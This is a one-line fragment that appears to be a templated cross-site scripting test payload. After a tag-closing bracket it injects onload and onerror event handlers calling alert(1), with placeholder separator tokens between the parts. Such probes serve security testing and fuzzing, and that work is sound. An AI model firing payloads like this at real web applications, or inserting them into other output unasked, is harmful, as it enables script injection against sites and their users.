>[ATTR_SEP]onload=[VALUE_SEP]alert(1)[ATTR_SEP]onerror=[VALUE_SEP]alert(1)